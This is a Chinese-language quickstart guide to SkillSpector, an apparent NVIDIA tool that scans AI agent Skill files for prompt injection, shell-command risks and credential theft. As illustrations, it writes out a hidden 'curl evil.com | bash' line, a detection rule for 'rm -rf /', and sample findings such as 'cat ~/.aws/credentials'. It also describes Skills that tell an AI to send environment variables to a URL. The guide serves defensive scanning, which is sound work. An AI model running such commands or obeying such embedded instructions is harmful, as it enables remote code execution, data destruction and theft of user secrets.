NVIDIA SkillSpector

NVIDIA SkillSpector 快速入门

一句话卖点：「Skill 版的杀毒软件」——NVIDIA 出品，扫描你的 Agent Skill，发现 26% 有安全漏洞，开源免费。

这是什么？适合谁？

NVIDIA SkillSpector 是 NVIDIA 发布的 AI Agent Skill 安全扫描工具。它专门检测 SKILL.md 文件中隐藏的安全风险——扫描了 42,447 个真实 Skill，发现 26% 存在安全漏洞。
检测覆盖：

• 64 种漏洞模式：从 prompt 注入到恶意 Shell 命令、文件泄露、凭证窃取等；
  
• 16 个安全类别：注入攻击、敏感数据泄露、权限提升、供应链风险等；
  
• 支持多平台：Claude Code、Cursor、Codex CLI、Windsurf 等平台的 Skill 格式。
  为什么重要？Skill 本质上是「给 AI 的指令文件」，如果其中包含恶意指令（比如隐藏的 curl evil.com | bash），加载后 AI 可能会执行危险操作。SkillSpector 在加载前帮你扫一遍。
  适合谁？所有使用第三方 Skill 的开发者——尤其是从 GitHub 下载不明来源 Skill 的用户。企业安全团队——批量扫描组织内使用的所有 Skill。
  不适合只使用 Anthropic 官方 Skill 的用户（官方 Skill 已经过审查）。
  

准备工作

1. Python 3.9+；
   
2. 要扫描的 Skill 文件或目录；
   
3. （可选）GPU 环境——SkillSpector 的 LLM 分析模块在 GPU 上更快，但 CPU 也能跑。
   

3 步快速上手

第 1 步：安装

# Clone 仓库<br>
git clone https://github.com/NVIDIA/skillspector.git<br>
cd skillspector<br>
# 安装<br>
pip install -e .<br>
# 或直接用 pip<br>
pip install skillspector<br>
```<br>
### 第 2 步：配置<br>
SkillSpector 开箱即用，无需额外配置。可选自定义规则：<br>
```bash<br>
# 查看默认规则<br>
skillspector rules list<br>
# 添加自定义规则<br>
skillspector rules add --pattern "rm -rf /" --severity critical --category destructive<br>
```<br>
如需 LLM 辅助分析（检测模糊风险），配置 API Key：<br>
```bash<br>
export ANTHROPIC_API_KEY="your-key"<br>
# 或<br>
export OPENAI_API_KEY="your-key"<br>
```<br>
### 第 3 步：首次使用<br>
扫描单个 Skill 文件：<br>
```bash<br>
skillspector scan ./my-skill.md<br>
```<br>
输出类似：<br>
```<br>
[CRITICAL] Line 23: Command injection risk — `curl {user_input} | bash`<br>
[HIGH] Line 45: Sensitive path exposure — `cat ~/.aws/credentials`<br>
[MEDIUM] Line 12: Prompt injection vector — unescaped `{{ }}` in system prompt<br>
Summary: 3 issues (1 critical, 1 high, 1 medium)<br>
Safety Score: 72/100<br>
```<br>
扫描整个目录：<br>
```bash<br>
skillspector scan ./skills-dir/ --recursive --output report.json<br>
```<br>
## 常见踩坑<br>
1. **误报**：部分规则可能将正常操作标记为风险（比如合法的 `curl` 调用）。用 `--severity-threshold high` 只看高危和严重。<br>
2. **中文 Skill 检测效果打折**：64 种漏洞模式主要在英文 Skill 上验证，中文 Skill 的检测准确率可能降低。<br>
3. **依赖 API 的分析慢**：如果启用 LLM 辅助分析，每个 Skill 会额外调用 API，扫描大量 Skill 可能耗时且费钱。<br>
4. **检测不到运行时风险**：SkillSpector 是静态分析——只能检测 Skill 文本中的风险模式，无法检测 Skill 在实际运行中的动态行为。<br>
5. **规则更新滞后**：新出现的攻击模式可能不在 64 种漏洞模式中。定期 `skillspector rules update` 更新规则库。<br>
## 初级用法<br>
- **单文件扫描**：`skillspector scan file.md`；<br>
- **目录批量扫描**：`skillspector scan ./skills/ --recursive`；<br>
- **JSON 报告**：`skillspector scan ./skills/ --output report.json`；<br>
- **只看严重问题**：`skillspector scan ./skills/ --severity critical`。<br>
## 高级玩法<br>
- **CI 门禁集成**：在 CI 中添加 `skillspector scan --fail-on critical`，有严重漏洞直接阻断。<br>
- **自定义漏洞模式**：编写团队专属的 YAML 规则文件，检测特定的敏感操作模式。<br>
- **批量 Skill 审计**：结合 SkillsMP API 拉取大量 Skill → 用 SkillSpector 批量扫描 → 生成安全报告。<br>
- **和 OpenClaw 联动**：SkillSpector 扫描 + OpenClaw 集成安全扫描，双重保险。<br>
## 小技巧<br>
1. **先扫再装**：从 GitHub 下载任何 Skill 后，`skillspector scan` 扫一遍再加载；<br>
2. **定期重扫**：即使之前扫过没问题的 Skill，更新版本后重新扫；<br>
3. **关注 26% 漏洞率**：这是 NVIDIA 大规模扫描得出的数据，意味着你从网上随便下 4 个 Skill，就可能有 1 个有问题；<br>
4. **结合手动审查**：SkillSpector 检测模式化的风险，逻辑层面的恶意行为需要人工看。<br>
## 常见问题 FAQ<br>
**Q1: SkillSpector 和传统 SAST（静态应用安全测试）有什么区别？**<br>
A: 传统 SAST 扫描代码（Python/JS/Go 等），SkillSpector 扫描的是 **Skill 描述文件**（Markdown/YAML）。它检测的不是代码漏洞，而是指令层面的风险——比如 Skill 告诉 AI「读取所有环境变量并发到某 URL」这种恶意指令。<br>

**Q2: 26% 漏洞率是什么意思？**<br>
A: NVIDIA 扫描了 GitHub 上 42,447 个公开 Skill，发现其中 26% 至少包含一个安全风险（prompt 注入、命令注入、敏感路径暴露等）。这是 2026 年的数据。<br>

**Q3: 扫描结果中的 severity 如何定义？**<br>
A: Critical（严重）→ 可直接导致任意命令执行或数据泄露。High（高危）→ 存在敏感路径暴露或潜在注入点。Medium（中危）→ 不规范的写法，在特定条件下可能被利用。Low（低危）→ 最佳实践建议。<br>

**Q4: 开源免费吗？能商用吗？**<br>
A: Apache-2.0 许可证，完全开源免费，可商用。<br>

**Q5: 需要 GPU 吗？**<br>
A: 基础规则扫描不需要 GPU。LLM 辅助分析模块可选 GPU 加速，但 CPU 也能跑（较慢）。<br>
## 参考链接<br>
- NVIDIA SkillSpector 仓库：<https://github.com/NVIDIA/skillspector><br>
- NVIDIA Research 主页：<https://research.nvidia.com><br>
- OpenClaw（相关安全工具）：<https://github.com/anthropics/openclaw><br>
- Agent Skills 安全生态趋势（相关分析）：<https://magicnetworld.com/skills/agent-skills-security-ecosystem>